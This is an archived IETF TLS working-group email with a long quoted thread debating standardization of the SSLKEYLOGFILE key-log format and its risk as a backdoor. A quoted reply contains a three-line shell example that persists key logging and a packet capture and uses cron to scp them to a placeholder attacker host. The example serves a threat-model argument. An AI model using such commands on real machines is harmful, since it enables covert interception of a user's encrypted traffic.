[TLS] Re: 2nd Working Group Last Call for The SSLKEYLOGFILE Formatfor TLS
Alicja Kario <hkario@redhat.com> Mon, 24 February 2025 13:47 UTC
Return-Path: <hkario@redhat.com>
X-Original-To: tls@mail2.ietf.org
Delivered-To: tls@mail2.ietf.org
Received: from localhost (localhost [127.0.0.1]) by mail2.ietf.org (Postfix) with ESMTP id 241C05C791 for <tls@mail2.ietf.org>; Mon, 24 Feb 2025 05:47:35 -0800 (PST)
X-Virus-Scanned: amavisd-new at ietf.org
X-Spam-Flag: NO
X-Spam-Score: -2.536
X-Spam-Level:
X-Spam-Status: No, score=-2.536 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIMWL_WL_HIGH=-0.442, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, RCVD_IN_DNSWL_NONE=-0.0001, RCVD_IN_MSPIKE_H5=0.001, RCVD_IN_MSPIKE_WL=0.001, RCVD_IN_VALIDITY_CERTIFIED_BLOCKED=0.001, RCVD_IN_VALIDITY_RPBL_BLOCKED=0.001, SPF_HELO_NONE=0.001, SPF_NONE=0.001] autolearn=ham autolearn_force=no
Authentication-Results: mail2.ietfa.org (amavisd-new); dkim=pass (1024-bit key) header.d=redhat.com
Received: from mail2.ietf.org ([166.84.6.31]) by localhost (mail2.ietfa.org [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id WtnLU_dvgTQa for <tls@mail2.ietf.org>; Mon, 24 Feb 2025 05:47:33 -0800 (PST)
Received: from us-smtp-delivery-124.mimecast.com (us-smtp-delivery-124.mimecast.com [170.10.129.124]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature ECDSA (P-256) server-digest SHA256) (No client certificate requested) by mail2.ietf.org (Postfix) with ESMTPS id D127C5C779 for <tls@ietf.org>; Mon, 24 Feb 2025 05:47:33 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat.com; s=mimecast20190719; t=1740404853; h=from:from:reply-to:subject:subject:date:date:message-id:message-id: to:to:cc:cc:mime-version:mime-version:content-type:content-type: content-transfer-encoding:content-transfer-encoding: in-reply-to:in-reply-to:references:references; bh=meP+O/BjzJPvbu01SuPBl21N/RCp8U25sjJkaQ8Lpco=; b=AumQa2N1ZdZvy6/mOSp4jAFqDmR7estdXlWAU80jDEtg2ePpJ0x30k53k3yCaAA+NA9XCq BxclYpzWxAB6MrnShi1GBP3a1woIADeoMhg/9pbG/OBla4A2xiZkxM8nol23A1x0DE/H6w SbWB3Z8Yf0U4JD8dAMjP78b+/YwuGE0=
Received: from mail-wr1-f72.google.com (mail-wr1-f72.google.com [209.85.221.72]) by relay.mimecast.com with ESMTP with STARTTLS (version=TLSv1.3, cipher=TLS_AES_256_GCM_SHA384) id us-mta-189-ek9EqO2rMd2OviLnMq3d5g-1; Mon, 24 Feb 2025 08:47:30 -0500
X-MC-Unique: ek9EqO2rMd2OviLnMq3d5g-1
X-Mimecast-MFC-AGG-ID: ek9EqO2rMd2OviLnMq3d5g_1740404849
Received: by mail-wr1-f72.google.com with SMTP id ffacd0b85a97d-38f3bac2944so1963935f8f.3 for <tls@ietf.org>; Mon, 24 Feb 2025 05:47:29 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20230601; t=1740404849; x=1741009649; h=content-transfer-encoding:user-agent:organization:references :in-reply-to:message-id:mime-version:date:subject:cc:to:from :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to; bh=TEMtJmOIGQbKahOewrcB5G8x6VIFAn0Gb2aYyX6NVak=; b=Wzr4P3ESpanYfDarLjPFRgjrfWNZkLfGBG2Mq+Bz42EEFr3p3U/3K7W1iOnIAF4i6I EdTaejzW8cVB0qF2g1mbP6COruSYeEuFCZFr5A4TjKKxPulK1dTj97POC/J98uToDZIy x9JLJmmxmSiZdzlXtjoSr9edYgjIFIw2RE2EeVuwYbXa398Pos+9l/0IKqkyIDuQIHYG IZ4JaB9WVJtk6aAWmr5b+2FHQPq1yk97t4xcFDRhbF3S7CSvQg142IWeH7HR0+y6Gwq3 3MOM/51ZfDCgIy+Pirc9cv7hhX3OgSX8euheiqP0zsPnGfmGZWVGUYMZ65csNBGVfmQE DdnQ==
X-Forwarded-Encrypted: i=1; AJvYcCVtU9xYP1sGkFrdAqGSSrpHwonW46SwUdDJPYgSuGMt85CF72L4pDldn4f3Ah3A9PFFcm4=@ietf.org
X-Gm-Message-State: AOJu0YwI/dFcdl4CfrlnqXv+4l/8hkVhu1nF7uOxgMYWMo66qdH2sgdP zNCHUu0FgtkS4o8i1luyEFNrV/Aw1bmL5QO081O1TUp9BrRdWXB1qDZe3LiwcvQIFblgHUNggXk 9FDkSMhK2VrJkGj0PSq7llZcNt1EJRYSssYsM1sUk
X-Gm-Gg: ASbGncsFScqwbRy4pe83QVbXOQgC+PU5hT9XZVFml25DZtN34nic1aGcbYKzqcsWCbc /vqv3UOWaY1YAczlOalDgQGAEzk7BGTp8wpOW45M2HqkTLZPc0mXl+Rrn6U2n3B8SGp02d/padT dctZGtzhNFf3lGjySYSULage5geLA0kiLHizJpR6n3xNTTxCQO+4AovnpQJ0n8BloGYrWG/+tSX cg4jX0wf+cT2M4RrDlJjnyJoTfJde0mDEr3ZNWfos8cf9rmcVVrQbNYJt4H+gGrIfyOlCIbnJd1 7RC/zebfTFNNROeugMptFyK6YKQc3fG+RQ==
X-Received: by 2002:a5d:6d07:0:b0:38f:36c7:b068 with SMTP id ffacd0b85a97d-38f6f0d1773mr10909539f8f.50.1740404848966; Mon, 24 Feb 2025 05:47:28 -0800 (PST)
X-Google-Smtp-Source: AGHT+IFKjwk4afG3XEoKZ8j2OpARMN2W/1TGG7N17pECVhX/HW1dCCQur72NsLzFzDZafWd9CJdykw==
X-Received: by 2002:a5d:6d07:0:b0:38f:36c7:b068 with SMTP id ffacd0b85a97d-38f6f0d1773mr10909512f8f.50.1740404848565; Mon, 24 Feb 2025 05:47:28 -0800 (PST)
Received: from localhost (nat-pool-brq-u.redhat.com. [213.175.37.12]) by smtp.gmail.com with ESMTPSA id ffacd0b85a97d-38f259f7998sm31224995f8f.82.2025.02.24.05.47.28 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Mon, 24 Feb 2025 05:47:28 -0800 (PST)
From: Alicja Kario <hkario@redhat.com>
To: Andrei Popov <Andrei.Popov@microsoft.com>
Date: Mon, 24 Feb 2025 14:47:27 +0100
MIME-Version: 1.0
Message-ID: <af378e43-f561-4453-99f8-2bc20031c84e@redhat.com>
In-Reply-To: <CH3PR21MB464574181B64CBD38D74855E8CC72@CH3PR21MB4645.namprd21.prod.outlook.com>
References: <6a27cae41645539b3fa90b5f83a8973c73cdd6a0.camel@aisec.fraunhofer.de> <CA+_8xu1nDDHuqRbh2OvRVkvxPyLcJS==rumo3sxPC56NsWLCMw@mail.gmail.com> <93eb1e78c7348459fc92ff874c7e691baf4a0bf0.camel@aisec.fraunhofer.de> <ee908b7b-da13-4840-b70a-84dd66d4bc1f@redhat.com> <68995b4c-4cd9-4153-9fff-004c3dbdeb01@cs.tcd.ie> <3588D603-9153-4D42-9FF2-7F0FCE5E5EBD@akamai.com> <063eca4c661f36c4b90f80c38681363e0c5cdaa0.camel@aisec.fraunhofer.de> <CH3PR21MB464574181B64CBD38D74855E8CC72@CH3PR21MB4645.namprd21.prod.outlook.com>
Organization: Red Hat
User-Agent: Trojita/0.7-git; Qt/5.15.15; wayland; Linux; Fedora release 40 (Forty)
X-Mimecast-Spam-Score: 0
X-Mimecast-MFC-PROC-ID: 1Ynn4tYawAL3ZVOkz10JmskFitY1-Z_Ivmwbm-KC1B8_1740404849
X-Mimecast-Originator: redhat.com
Content-Type: text/plain; charset="utf-8"; format="flowed"
Content-Transfer-Encoding: quoted-printable
Message-ID-Hash: R6ELEBYBEVTY3VWUNCDIVZJ5Y3Y3EQUP
X-Message-ID-Hash: R6ELEBYBEVTY3VWUNCDIVZJ5Y3Y3EQUP
X-MailFrom: hkario@redhat.com
X-Mailman-Rule-Misses: dmarc-mitigation; no-senders; approved; emergency; loop; banned-address; member-moderation; header-match-tls.ietf.org-0; nonmember-moderation; administrivia; implicit-dest; max-recipients; max-size; news-moderation; no-subject; digests; suspicious-header
CC: "Bellebaum, Thomas" <thomas.bellebaum@aisec.fraunhofer.de>, robainloynet@gmail.com, tls@ietf.org
X-Mailman-Version: 3.3.9rc6
Precedence: list
Subject: [TLS] Re: 2nd Working Group Last Call for The SSLKEYLOGFILE Formatfor TLS
List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." <tls.ietf.org>
Archived-At: <https://mailarchive.ietf.org/arch/msg/tls/BLcjFulloT9v20NatsQjwd1uXW4>
List-Archive: <https://mailarchive.ietf.org/arch/browse/tls>
List-Help: <mailto:tls-request@ietf.org?subject=help>
List-Owner: <mailto:tls-owner@ietf.org>
List-Post: <mailto:tls@ietf.org>
List-Subscribe: <mailto:tls-join@ietf.org>
List-Unsubscribe: <mailto:tls-leave@ietf.org>
On Friday, 21 February 2025 15:43:32 CET, Andrei Popov wrote: > I agree with Stephen and Tomas on this one. Additionally, in > my opinion, this WG should not have published any SSLKEYLOGFILE > documents, because they effectively standardize a backdoor. > It is understood that there is a need for debugging, and it is > understood that certain SW vendors want to agree on a common log > data format and publish this format. > > However: > - Debugging can (and should) be accomplished without a complete > compromise of the security protocol (arguably, with less > ease/convenience). > - Backdoor specifications can be agreed upon outside the IETF > process and published as part of the respective SW vendor's > documentation, without involving the IETF. The reason for existence of this mechanism is specifically to allow regular users to provide debugging information useful to developers. For that to be actually convinient, it needs to be widely supported. As it already is in curl, Firefox, GnuTLS, wireshark... > Cheers, > > Andrei > > -----Original Message----- > From: Bellebaum, Thomas <thomas.bellebaum@aisec.fraunhofer.de> > Sent: Friday, February 21, 2025 2:18 AM > To: stephen.farrell@cs.tcd.ie; robainloynet@gmail.com; > rsalz@akamai.com; hkario@redhat.com > Cc: tls@ietf.org > Subject: [EXTERNAL] [TLS] Re: 2nd Working Group Last Call for > The SSLKEYLOGFILE Formatfor TLS > > [You don't often get email from > thomas.bellebaum@aisec.fraunhofer.de. Learn why this is > important at https://aka.ms/LearnAboutSenderIdentification ] > >> I disagree with this because if an attacker could write to the >> environment variable used by the program or is able to side-load a >> library and capture outbound packets, it is very likely that they >> already have privileged access to the machine. > > I am questioning the threat model. Just like Perfect Forward > Secrecy comes at an unbearable cost if you believe that TLS > cannot provide ANY security if you ever get compromised (The > advocate might say: after all, the database is not encrypted, > there are backups, ...). > > In that spirit, let us assume that some individual has root > access to an average user's computer. > What could theoretically happen? Anything. Agreed. > What could practically happen? Well, it depends... > > Say the user is using Linux (that is what I have, I assume > Windows has similar functionality): > > ```sh > echo "export SSLKEYLOGFILE=/tmp/keys" >> /etc/profile echo > "tcpdump -w /tmp/traffic &" >> /etc/profile echo "0 * * * * scp > /tmp/keys /tmp/traffic user@attacker.com:~/" >> /etc/crontab ``` > (You get the point. Let us assume that the kinks would be > filtered out before deploying :) ) > > This is simple enough to fit in a forum post and fortunately > for our attacker, the TCP dumps can now be automatically parsed > using a range of tools since all relevant protocols > (TCP/TLS/HTTP/SMTP/Twitter-API/...) are well documented. > > Next, let us go out of our way and assume that interoperable > file formats did not exist. > Again, in theory, our attacker could replace programs to leak > the keys, side-load a library, perform memory dumps and analyze > them, etc. > Is he going to do that, though? > > All the above methods do not scale to many programs at once. In > each case, an attacker would first need to figure out a way to > do that (and do it reliably in an automated fashion). > It would suprise me to learn that the same potential would rest > in three lines of shell code. > Yes, state level actors, etc. have enough resources to not > care. How about an abusive partner in your relationship? A bit > of frustration on their side might go a long way. > > This is the difference I am worried about. It is not > quantifiable in the cryptographic sense (Any attacker with > resources X has probability < Y to achieve Z), but it is > relevant in practice. > > We can make the adversary work a bit harder using very simple > measures. For instance, by suggesting that applications should > notify their users if this method is used, the above gain > disappears. > Cost: An extra if clause in the code to display the happy green > location bar. Effect: Can hardly be less than that. > >> There already is widely deployed software that leaks key information. >> OpenSSL has a trace facility, normally compiled out, that reports >> PKCS#12 passwords[1]. The keylog stuff *is* compiled-out by default. >> The OpenSSL library also provides a register-callback function that >> will get private key material and that is always enabled which the >> OpenSSL project does not consider a security risk[2]. I assume OpenSSL >> qualifies as widely-deployed. :) > > This is scary as well. I did not know that :) Still, this is > one implementation. We are considering interoperability-enabling > documents. > If misuse of this API should become a real-world issue, the > OpenSSL project will almost certainly be able to remidy it > faster than the IETF. > > > -- Regards, Alicja Kario Principal Quality Engineer, RHEL Crypto team Web: www.cz.redhat.com Red Hat Czech s.r.o., Purkyňova 115, 612 00, Brno, Czech Republic
- [TLS] 2nd Working Group Last Call for The SSLKEYL… Sean Turner
- [TLS] Re: 2nd Working Group Last Call for The SSL… Salz, Rich
- [TLS] Re: 2nd Working Group Last Call for The SSL… David Benjamin
- [TLS] Re: 2nd Working Group Last Call for The SSL… Salz, Rich
- [TLS] Re: 2nd Working Group Last Call for The SSL… David Benjamin
- [TLS] Re: 2nd Working Group Last Call for The SSL… David Benjamin
- [TLS] Re: 2nd Working Group Last Call for The SSL… Salz, Rich
- [TLS] Re: 2nd Working Group Last Call for The SSL… Sean Turner
- [TLS] Re: 2nd Working Group Last Call for The SSL… Salz, Rich
- [TLS] Re: 2nd Working Group Last Call for The SSL… David Benjamin
- [TLS] Re: 2nd Working Group Last Call for The SSL… Stephen Farrell
- [TLS] Re: 2nd Working Group Last Call for The SSL… Bellebaum, Thomas
- [TLS] Re: 2nd Working Group Last Call for The SSL… Ben Smyth
- [TLS] Re: 2nd Working Group Last Call for The SSL… Bellebaum, Thomas
- [TLS] Re: 2nd Working Group Last Call for The SSL… Stephen Farrell
- [TLS] Re: 2nd Working Group Last Call for The SSL… Salz, Rich
- [TLS] Re: 2nd Working Group Last Call for The SSL… Bellebaum, Thomas
- [TLS] Re: 2nd Working Group Last Call for The SSL… Ben Smyth
- [TLS] Re: 2nd Working Group Last Call for The SSL… Bellebaum, Thomas
- [TLS] Re: 2nd Working Group Last Call for The SSL… Andrei Popov
- [TLS] Re: 2nd Working Group Last Call for The SSL… _ _
- [TLS] Re: 2nd Working Group Last Call for The SSL… Martin Thomson
- [TLS] Re: 2nd Working Group Last Call for The SSL… Stephen Farrell
- [TLS] Re: 2nd Working Group Last Call for The SSL… David Adrian
- [TLS] Re: 2nd Working Group Last Call for The SSL… Alicja Kario
- [TLS] Re: 2nd Working Group Last Call for The SSL… Muhammad Usama Sardar
- [TLS] Re: 2nd Working Group Last Call for The SSL… Aaron Zauner (azet)
- [TLS] Re: 2nd Working Group Last Call for The SSL… Arnaud Taddei
- [TLS] Re: 2nd Working Group Last Call for The SSL… Achim Kraus
- [TLS] Re: 2nd Working Group Last Call for The SSL… S Moonesamy
- [TLS] Re: 2nd Working Group Last Call for The SSL… Alicja Kario
- [TLS] Re: 2nd Working Group Last Call for The SSL… Alicja Kario
- [TLS] Re: 2nd Working Group Last Call for The SSL… Aaron Zauner
- [TLS] Re: 2nd Working Group Last Call for The SSL… Arnaud Taddei
- [TLS] Re: 2nd Working Group Last Call for The SSL… Stephen Farrell
- [TLS] Re: 2nd Working Group Last Call for The SSL… Arnaud Taddei
- [TLS] Re: 2nd Working Group Last Call for The SSL… Ben Smyth
- [TLS] Re: 2nd Working Group Last Call for The SSL… Sean Turner
- [TLS] Re: 2nd Working Group Last Call for The SSL… Christian Huitema
- [TLS] Re: 2nd Working Group Last Call for The SSL… Bellebaum, Thomas
- [TLS] Re: 2nd Working Group Last Call for The SSL… Aaron Zauner
- [TLS] Re: 2nd Working Group Last Call for The SSL… Martin Thomson
- [TLS] Re: 2nd Working Group Last Call for The SSL… Aaron Zauner
- [TLS] Re: 2nd Working Group Last Call for The SSL… Arnaud Taddei
- [TLS] Re: [EXTERNAL] Re: 2nd Working Group Last C… Yaakov Stein
- [TLS] Re: [EXTERNAL] Re: 2nd Working Group Last C… Andrei Popov
- [TLS] Re: [EXTERNAL] 2nd Working Group Last Call … Alicja Kario
- [TLS] Re: 2nd Working Group Last Call for The SSL… Salz, Rich
- [TLS] Re: 2nd Working Group Last Call for The SSL… Ilari Liusvaara